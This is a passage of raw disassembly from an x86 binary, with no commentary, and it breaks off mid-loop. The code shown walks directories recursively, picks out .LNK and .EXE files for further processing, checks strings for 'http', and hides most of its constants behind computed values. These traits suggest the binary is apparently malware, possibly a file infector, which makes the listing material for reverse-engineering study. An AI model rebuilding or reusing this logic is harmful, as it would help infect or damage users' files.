		sub	eax, 6
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10011218h
		mov	edi, eax
		mov	eax, ds:100141E8h
		add	eax, ds:100141A4h
		sub	eax, 8
		cmp	edi, eax
		jnz	loc_41D574
		mov	esi, [ebp+var_10018]
		and	[ebp+var_1000C], 0
		lea	eax, [ebp+var_1000C]
		push	eax
		push	10015CD4h
		push	esi
		mov	edx, [esi]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, ds:100141E8h
		sub	eax, 7
		cmp	edi, eax
		jnz	loc_41D574
		lea	eax, [ebp+var_10024]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+78h]
		mov	edi, eax
		mov	eax, ds:10014218h
		movsx	edx, word ptr ds:1001411Ch
		add	eax, edx
		sub	eax, 0Dh
		cmp	edi, eax
		jnz	loc_41D56E
		lea	eax, [ebp+var_10003]
		push	eax
		push	[ebp+var_10024]
		call	sub_41BCA3
		add	esp, 8
		mov	edx, eax
		inc	edx
		mov	[ebp+var_10034], edx
		push	[ebp+var_10024]
		call	dword ptr ds:10013D84h
		cmp	[ebp+var_10003], 68h
		jnz	short loc_41D432
		cmp	[ebp+var_10002], 74h
		jnz	short loc_41D432
		cmp	[ebp+var_10001], 74h
		jnz	short loc_41D432
		cmp	[ebp+var_10000], 70h
		jz	short loc_41D437


loc_41D432:				; CODE XREF: sub_41D305+110j
					; sub_41D305+119j ...
		jmp	loc_41D56E
; ---------------------------------------------------------------------------


loc_41D437:				; CODE XREF: sub_41D305+12Bj
		lea	eax, [ebp+var_10010]
		push	eax
		mov	eax, [ebp+var_1000C]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+48h]
		mov	edi, eax
		mov	eax, ds:1001422Ch
		add	eax, ds:1001418Ch
		sub	eax, 5
		cmp	edi, eax
		jnz	loc_41D56E
		lea	eax, [ebp+var_4]
		push	eax
		push	10015C44h
		mov	eax, [ebp+var_10010]
		push	eax
		mov	edx, [eax]
		call	dword ptr ds:0[edx]
		mov	edi, eax
		mov	eax, ds:100141F8h
		sub	eax, 6
		cmp	edi, eax
		jnz	loc_41D562
		lea	eax, [ebp+var_10008]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		mov	eax, ds:10014150h
		sub	eax, 2
		cmp	edi, eax
		jnz	loc_41D559
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		mov	eax, ds:1001416Ch
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_41D4E1
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	short loc_41D559
; ---------------------------------------------------------------------------


loc_41D4E1:				; CODE XREF: sub_41D305+1CCj
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_10008], eax
		jz	short loc_41D4F4
		xor	ebx, ebx
		inc	ebx


loc_41D4F4:				; CODE XREF: sub_41D305+1EAj
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_41D559
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		movsx	eax, word ptr ds:10014220h
		movsx	edx, word ptr ds:10014128h
		add	eax, edx
		sub	eax, 0Ch
		cmp	edi, eax
		jnz	short loc_41D559
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	nullsub_1
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		push	esi
		call	sub_4229B3
		add	esp, 14h


loc_41D559:				; CODE XREF: sub_41D305+1A7j
					; sub_41D305+1DAj ...
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_41D562:				; CODE XREF: sub_41D305+182j
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_41D56E:				; CODE XREF: sub_41D305+D9j
					; sub_41D305:loc_41D432j ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_41D574:				; CODE XREF: sub_41D305+27j
					; sub_41D305+76j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D305	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D579	proc near		; CODE XREF: sub_41B78D+56p
					; .data:0041BD33p ...

var_252		= byte ptr -252h
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_41D5AA
		mov	eax, ds:1001424Ch
		movsx	edx, word ptr ds:10014220h
		add	eax, edx
		sub	eax, 10h
		mov	[ebp+var_248], eax
		jmp	loc_41D635
; ---------------------------------------------------------------------------


loc_41D5AA:				; CODE XREF: sub_41D579+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, ds:100141BCh
		add	ecx, ds:10014124h
		sub	ecx, 5
		cmp	ds:100105E0h[edx*4], ecx
		jnz	short loc_41D5E1
		push	ebx
		call	dword ptr ds:100105BCh
		mov	eax, ds:10014238h
		add	eax, ds:100140DCh
		sub	eax, 8
		push	eax
		call	dword ptr ds:10013840h


loc_41D5E1:				; CODE XREF: sub_41D579+4Aj
		mov	eax, ds:10014198h
		add	eax, 5Bh
		mov	[ebp+var_248], eax
		push	100154B4h
		call	sub_41B08F
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_252]
		push	edx
		call	dword ptr ds:10013810h
		add	esp, 10h
		lea	eax, [ebp+var_252]
		push	eax
		call	dword ptr ds:10013844h
		cmp	eax, 3
		jnz	short loc_41D635
		mov	eax, ds:10014208h
		add	eax, 122h
		add	eax, ds:10014104h
		mov	[ebp+var_248], eax


loc_41D635:				; CODE XREF: sub_41D579+2Cj
					; sub_41D579+A4j
		xor	edi, edi
		inc	edi
		push	100154ADh
		call	sub_41B08F
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10013810h
		add	esp, 10h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41D659:				; CODE XREF: sub_41D579+E5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D659
		mov	ecx, ds:10014244h
		add	ecx, ds:100140ACh
		sub	ecx, 9
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_41D710
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D682:				; CODE XREF: sub_41D579+10Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D682
		mov	ecx, ds:10014154h
		add	ecx, 1
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 4Ch
		jnz	short loc_41D710
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D6AE:				; CODE XREF: sub_41D579+13Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D6AE
		mov	ecx, ds:100141C4h
		add	ecx, 2
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 4Eh
		jnz	short loc_41D710
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D6DA:				; CODE XREF: sub_41D579+166j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D6DA
		mov	ecx, ds:100140D0h
		add	ecx, 1
		add	ecx, ds:100140DCh
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 4Bh
		jnz	short loc_41D710
		push	esi
		call	sub_424EDB
		add	esp, 4


loc_41D710:				; CODE XREF: sub_41D579+FEj
					; sub_41D579+12Ej ...
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41D715:				; CODE XREF: sub_41D579+1A1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D715
		mov	ecx, ds:10014238h
		sub	ecx, 4
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_41D7D0
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D738:				; CODE XREF: sub_41D579+1C4j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D738
		movsx	ecx, word ptr ds:100141F0h
		add	ecx, 2
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_41D7D0
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D765:				; CODE XREF: sub_41D579+1F1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D765
		mov	edx, eax
		mov	ecx, ds:100141D0h
		movsx	eax, word ptr ds:100140E8h
		add	ecx, eax
		sub	ecx, 6
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_41D7D0
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D79A:				; CODE XREF: sub_41D579+226j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D79A
		mov	ecx, ds:1001420Ch
		sub	ecx, 5
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_41D7D0
		push	[ebp+var_248]
		push	esi
		call	sub_423806
		add	esp, 8


loc_41D7D0:				; CODE XREF: sub_41D579+1B4j
					; sub_41D579+1E5j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:1001121Ch
		mov	ebx, eax
		mov	eax, ds:100141ACh
		add	eax, ds:100141D4h
		sub	eax, 9
		neg	eax
		cmp	ebx, eax
		jz	loc_41D8B5
		cmp	[ebp+var_112], 2Eh
		jz	loc_41D8B1
		push	100154A4h
		call	sub_41B08F
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10013810h
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_41D579
		add	esp, 20h
		jmp	short loc_41D8B1
; ---------------------------------------------------------------------------


loc_41D842:				; CODE XREF: sub_41D579+33Aj
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	dword ptr ds:1000EFB4h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41D873
		mov	eax, [ebp+var_248]
		add	eax, ds:10013818h
		push	eax
		call	dword ptr ds:1001380Ch
		pop	ecx
		push	ebx
		call	dword ptr ds:100105BCh
		jmp	short loc_41D8B5
; ---------------------------------------------------------------------------


loc_41D873:				; CODE XREF: sub_41D579+2DBj
		cmp	[ebp+var_112], 2Eh
		jz	short loc_41D8B1
		push	1001549Bh
		call	sub_41B08F
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10013810h
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_41D579
		add	esp, 20h


loc_41D8B1:				; CODE XREF: sub_41D579+28Cj
					; sub_41D579+2C7j ...
		or	edi, edi
		jnz	short loc_41D842


loc_41D8B5:				; CODE XREF: sub_41D579+27Fj
					; sub_41D579+2F8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D579	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D8BA	proc near		; CODE XREF: sub_41AF48+137p
					; sub_41D8BA+27Cp ...

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	0
		call	dword ptr ds:1001380Ch
		xor	ebx, ebx
		inc	ebx
		push	10015493h
		call	sub_41B08F
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:1001121Ch
		mov	[ebp+var_248], eax
		mov	ecx, ds:10014230h
		sub	ecx, 6
		neg	ecx
		cmp	eax, ecx
		jnz	loc_41DAEA
		mov	eax, ds:100141C8h
		sub	eax, 2
		cmp	[ebp+arg_20], eax
		ja	loc_41DBB3
		mov	eax, ds:10014208h
		add	eax, 3FAh
		cmp	[ebp+arg_24], eax
		jnb	short loc_41D959
		movsx	eax, word ptr ds:10014144h
		mov	edx, ds:1001416Ch
		lea	eax, [eax+edx+99h]
		cmp	[ebp+arg_24], eax
		jnz	loc_41DBB3


loc_41D959:				; CODE XREF: sub_41D8BA+80j
		movsx	eax, word ptr ds:10014120h
		add	eax, 30D37h
		cmp	[ebp+arg_24], eax
		ja	loc_41DBB3
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword ptr ds:10013960h
		mov	[ebp+var_260], eax
		movsx	eax, word ptr ds:1001412Ch
		add	eax, ds:10014104h
		sub	eax, 0Ch
		cmp	[ebp+var_260], eax
		jge	short loc_41D9A7
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_41D9B2
; ---------------------------------------------------------------------------


loc_41D9A7:				; CODE XREF: sub_41D8BA+DEj
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_41D9B2:				; CODE XREF: sub_41D8BA+EBj
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	dword ptr ds:10013958h
		mov	eax, ds:1001424Ch
		mov	edx, ds:1001417Ch
		mov	ecx, ds:100140BCh
		mov	[ebp+var_26C], ecx
		movzx	esi, [ebp+var_24E]
		movzx	edi, [ebp+var_250]
		movsx	ecx, word ptr ds:100141B8h
		lea	eax, [eax+ecx+2Eh]
		mov	ecx, edi
		imul	ecx, eax
		mov	eax, esi
		add	eax, ecx
		movzx	ecx, [ebp+var_252]
		mov	esi, ds:100141D0h
		lea	edx, [edx+esi+0Ah]
		imul	ecx, edx
		movsx	edx, word ptr ds:100140E4h
		mov	esi, [ebp+var_26C]
		lea	edx, [edx+esi+38h]
		imul	ecx, edx
		add	eax, ecx
		movzx	edx, [ebp+var_256]
		mov	ecx, ds:100141C8h
		add	ecx, 1Ch
		imul	edx, ecx
		movsx	ecx, word ptr ds:10014090h
		add	ecx, 13h
		imul	edx, ecx
		mov	ecx, ds:10014214h
		add	ecx, 3Bh
		imul	edx, ecx
		add	eax, edx
		movzx	edx, [ebp+var_258]
		mov	ecx, ds:100141A0h
		lea	ecx, [esi+ecx+0Ah]
		imul	edx, ecx
		mov	ecx, ds:100140FCh
		add	ecx, 17h
		imul	edx, ecx
		mov	ecx, ds:1001424Ch
		add	ecx, 0Fh
		imul	edx, ecx
		mov	ecx, ds:1001417Ch
		add	ecx, 33h
		imul	edx, ecx
		add	eax, edx
		mov	[ebp+var_25C], eax
		mov	edx, ds:1000D028h
		cmp	eax, edx
		ja	loc_41DBB3
		sub	edx, eax
		mov	eax, ds:10014238h
		add	eax, 0Bh
		cmp	edx, eax
		jnb	loc_41DBB3
		mov	eax, ds:1001419Ch
		add	eax, 9Bh
		cmp	[ebp+arg_24], eax
		jz	short loc_41DAD8
		push	0
		push	[ebp+arg_0]
		call	sub_41EF87
		add	esp, 8
		jmp	loc_41DBB3
; ---------------------------------------------------------------------------


loc_41DAD8:				; CODE XREF: sub_41D8BA+20Aj
		push	1
		push	[ebp+arg_0]
		call	sub_41EF87
		add	esp, 8
		jmp	loc_41DBB3
; ---------------------------------------------------------------------------


loc_41DAEA:				; CODE XREF: sub_41D8BA+5Cj
		cmp	[ebp+var_112], 2Eh
		jz	loc_41DBAF
		push	1001548Ah
		call	sub_41B08F
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10013810h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41D8BA
		add	esp, 158h
		jmp	short loc_41DBAF
; ---------------------------------------------------------------------------


loc_41DB43:				; CODE XREF: sub_41D8BA+2F7j
		lea	eax, [ebp+var_13E]
		push	eax
		push	[ebp+var_248]
		call	dword ptr ds:1000EFB4h
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_41DBB3
		cmp	[ebp+var_112], 2Eh
		jz	short loc_41DBAF
		push	10015481h
		call	sub_41B08F
		lea	edi, [ebp+var_112]
		push	edi
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	dword ptr ds:10013810h
		lea	esi, [ebp+var_13E]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_242]
		push	edi
		call	sub_41D8BA
		add	esp, 158h


loc_41DBAF:				; CODE XREF: sub_41D8BA+237j
					; sub_41D8BA+287j ...
		or	ebx, ebx
		jnz	short loc_41DB43


loc_41DBB3:				; CODE XREF: sub_41D8BA+6Dj
					; sub_41D8BA+99j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D8BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DBB8	proc near		; CODE XREF: .data:0041AB43p

var_1010	= byte ptr -1010h
var_100C	= byte ptr -100Ch
var_1003	= byte ptr -1003h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		push	1001546Fh
		call	sub_41B08F
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_0]
		call	dword ptr ds:10013814h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41DBEA
		mov	edi, [ebp+arg_0]


loc_41DBEA:				; CODE XREF: sub_41DBB8+2Dj
		push	10015459h
		call	sub_41B08F
		pop	ecx
		push	0
		push	eax
		push	0
		push	edi
		call	dword ptr ds:10013814h
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	dword ptr ds:1000D014h
		mov	eax, ds:100140D4h
		cmp	[ebp+eax+var_FFF], 20h
		jnz	short loc_41DC43
		mov	eax, ds:10014108h
		movsx	edx, word ptr ds:100141DCh
		add	eax, edx
		cmp	[ebp+eax+var_1010], 20h
		jz	loc_41DCF2


loc_41DC43:				; CODE XREF: sub_41DBB8+6Dj
		mov	eax, ds:1001417Ch
		add	eax, ds:100141B4h
		cmp	[ebp+eax+var_100C], 68h
		jnz	short loc_41DC6B
		mov	eax, ds:100140ACh
		cmp	[ebp+eax+var_1003], 74h
		jz	loc_41DCF2


loc_41DC6B:				; CODE XREF: sub_41DBB8+9Ej
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_41DC74:				; CODE XREF: sub_41DBB8+C1j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DC74
		mov	ebx, ds:1001416Ch
		add	ebx, 6
		add	ebx, ds:100141ACh
		cmp	eax, ebx
		jb	short loc_41DCF2
		push	10015454h
		call	sub_41B08F
		mov	esi, ds:1001409Ch
		add	esi, 3
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_4251A5
		add	esp, 10h
		movsx	ebx, word ptr ds:1001421Ch
		mov	edx, ds:100141E0h
		lea	ebx, [ebx+edx+0FFF8h]
		cmp	eax, ebx
		jnz	short loc_41DCF2
		push	1001544Eh
		call	sub_41B08F
		pop	ecx
		push	eax
		mov	esi, ds:100140DCh
		movsx	ebx, word ptr ds:10014204h
		add	esi, ebx
		sub	esi, 6
		push	esi
		push	0Ch
		push	edi
		call	dword ptr ds:1000D014h


loc_41DCF2:				; CODE XREF: sub_41DBB8+85j
					; sub_41DBB8+ADj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DBB8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	eax, ebx
		cmp	eax, 100h
		jz	short loc_41DD28
		jl	loc_41E27D
		cmp	eax, 111h
		jz	loc_41DDBD
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41DD28:				; CODE XREF: .data:0041DD10j
		cmp	dword ptr [ebp+10h], 9
		jnz	loc_41E27D
		mov	edi, ds:100141C4h
		dec	edi
		jmp	short loc_41DDA6
; ---------------------------------------------------------------------------


loc_41DD3B:				; CODE XREF: .data:0041DDB6j
		mov	eax, 30h
		mul	edi
		mov	[ebp-208h], eax
		cmp	ds:10011550h[eax], esi
		jnz	short loc_41DD70
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		push	dword ptr ds:10011554h[eax]
		call	dword ptr ds:100109FCh
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41DD70:				; CODE XREF: .data:0041DD4Fj
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		cmp	ds:10011554h[eax], esi
		jnz	short loc_41DDA5
		mov	eax, 30h
		mul	edi
		mov	[ebp-210h], eax
		push	dword ptr ds:10011558h[eax]
		call	dword ptr ds:100109FCh
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41DDA5:				; CODE XREF: .data:0041DD84j
		inc	edi


loc_41DDA6:				; CODE XREF: .data:0041DD39j
		mov	eax, ds:100141A8h
		add	eax, 58h
		add	eax, ds:1001422Ch
		cmp	edi, eax
		jb	short loc_41DD3B
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41DDBD:				; CODE XREF: .data:0041DD1Dj
		mov	edi, ds:100140C8h
		sub	edi, 2
		jmp	short loc_41DDE2
; ---------------------------------------------------------------------------


loc_41DDC8:				; CODE XREF: .data:0041DDECj
		mov	eax, 30h
		mul	edi
		mov	[ebp-208h], eax
		mov	eax, ds:1001155Ch[eax]
		cmp	[ebp+14h], eax
		jz	short loc_41DDEE
		inc	edi


loc_41DDE2:				; CODE XREF: .data:0041DDC6j
		mov	eax, ds:10014224h
		add	eax, 5Fh
		cmp	edi, eax
		jb	short loc_41DDC8


loc_41DDEE:				; CODE XREF: .data:0041DDDFj
		mov	eax, ds:10014094h
		add	eax, 62h
		cmp	edi, eax
		jz	loc_41E27D
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-20Ch], eax
		push	dword ptr ds:10011548h[eax]
		call	dword ptr ds:10013D88h
		mov	eax, ds:1001417Ch
		add	eax, ds:1001409Ch
		mov	byte ptr [ebp+eax-20Eh], 4Bh
		mov	eax, ds:100140E0h
		mov	edx, ds:100141F4h
		add	edx, ds:100140A4h
		sub	edx, 0Ch
		mov	[ebp+eax-205h],	dl
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 8
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-210h], eax
		push	dword ptr ds:10011550h[eax]
		call	dword ptr ds:10013D88h
		movsx	eax, word ptr ds:10014194h
		movsx	eax, byte ptr [ebp+eax-10Ch]
		movsx	edx, word ptr ds:10014120h
		movsx	ecx, word ptr ds:10014164h
		add	edx, ecx
		sub	edx, 0Dh
		cmp	eax, edx
		jnz	short loc_41DEFD
		push	1001542Bh
		call	sub_41B08F
		pop	ecx
		mov	edx, ds:10014188h
		movsx	ecx, word ptr ds:100140E4h
		add	edx, ecx
		sub	edx, 0Bh
		push	edx
		push	0
		push	eax
		push	0
		call	dword ptr ds:10013820h
		mov	eax, 30h
		mul	edi
		mov	[ebp-214h], eax
		push	dword ptr ds:10011550h[eax]
		call	dword ptr ds:100109FCh
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41DEFD:				; CODE XREF: .data:0041DEB3j
		push	10015426h
		call	sub_41B08F
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000D024h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-214h], eax
		push	dword ptr ds:10011554h[eax]
		call	dword ptr ds:10013D88h
		mov	eax, ds:100141E0h
		movsx	edx, word ptr ds:1001412Ch
		add	eax, edx
		movsx	eax, byte ptr [ebp+eax-10Ch]
		mov	edx, ds:100141ECh
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_41DFB5
		push	10015404h
		call	sub_41B08F
		pop	ecx
		movsx	edx, word ptr ds:1001421Ch
		sub	edx, 6
		push	edx
		push	0
		push	eax
		push	0
		call	dword ptr ds:10013820h
		mov	eax, 30h
		mul	edi
		mov	[ebp-218h], eax
		push	dword ptr ds:10011554h[eax]
		call	dword ptr ds:100109FCh
		jmp	loc_41E27D
; ---------------------------------------------------------------------------


loc_41DFB5:				; CODE XREF: .data:0041DF73j
		push	100153FFh
		call	sub_41B08F
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000D024h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D024h
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-218h], eax
		push	dword ptr ds:10011558h[eax]
		call	dword ptr ds:10013D88h
		movsx	eax, word ptr ds:100141F0h
		add	eax, ds:1001409Ch
		movsx	eax, byte ptr [ebp+eax-106h]
		movsx	edx, word ptr ds:10014110h
		cmp	eax, edx
		jz	loc_41E15C
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41E037:				; CODE XREF: .data:0041E03Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E037
		movsx	ecx, word ptr ds:10014180h
		sub	ecx, 1
		cmp	eax, ecx
		jb	loc_41E15C
		mov	eax, ds:10014248h
		add	eax, ds:100140E0h
		sub	eax, 2
		mov	[ebp-105h], al
		jmp	short loc_41E088
; ---------------------------------------------------------------------------


loc_41E066:				; CODE XREF: .data:0041E0A1j
		movzx	eax, byte ptr [ebp-105h]
		mov	al, [ebp+eax-103h]
		cmp	al, 30h
		jl	short loc_41E07C
		cmp	al, 39h
		jle	short loc_41E081


loc_41E07C:				; CODE XREF: .data:0041E076j
		jmp	loc_41E15C
; ---------------------------------------------------------------------------


loc_41E081:				; CODE XREF: .data:0041E07Aj
		add	byte ptr [ebp-105h], 1


loc_41E088:				; CODE XREF: .data:0041E064j
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41E091:				; CODE XREF: .data:0041E096j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41E091
		movzx	ecx, byte ptr [ebp-105h]
		cmp	ecx, eax
		jb	short loc_41E066
		movsx	eax, word ptr ds:1001411Ch
		add	eax, ds:1001422Ch
		sub	eax, 8
		mov	[ebp-104h], al
		jmp	short loc_41E138
; ---------------------------------------------------------------------------


loc_41E0BB:				; CODE XREF: .data:0041E151j
		mov	al, [ebp-104h]
		mov	[ebp-219h], al
		jmp	short loc_41E0F2
; ---------------------------------------------------------------------------


loc_41E0C9:				; CODE XREF: .data:0041E10Bj
		movzx	eax, byte ptr [ebp-219h]
		movsx	eax, byte ptr [ebp+eax-103h]
		movzx	edx, byte ptr [ebp-104h]
		movsx	edx, byte ptr [ebp+edx-103h]
		cmp	eax, edx
		jnz	short loc_41E10D
		add	byte ptr [ebp-219h], 1


loc_41E0F2:				; CODE XREF: .data:0041E0C7j
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_41E0FB:				; CODE XREF: .data:0041E100j
		inc	eax
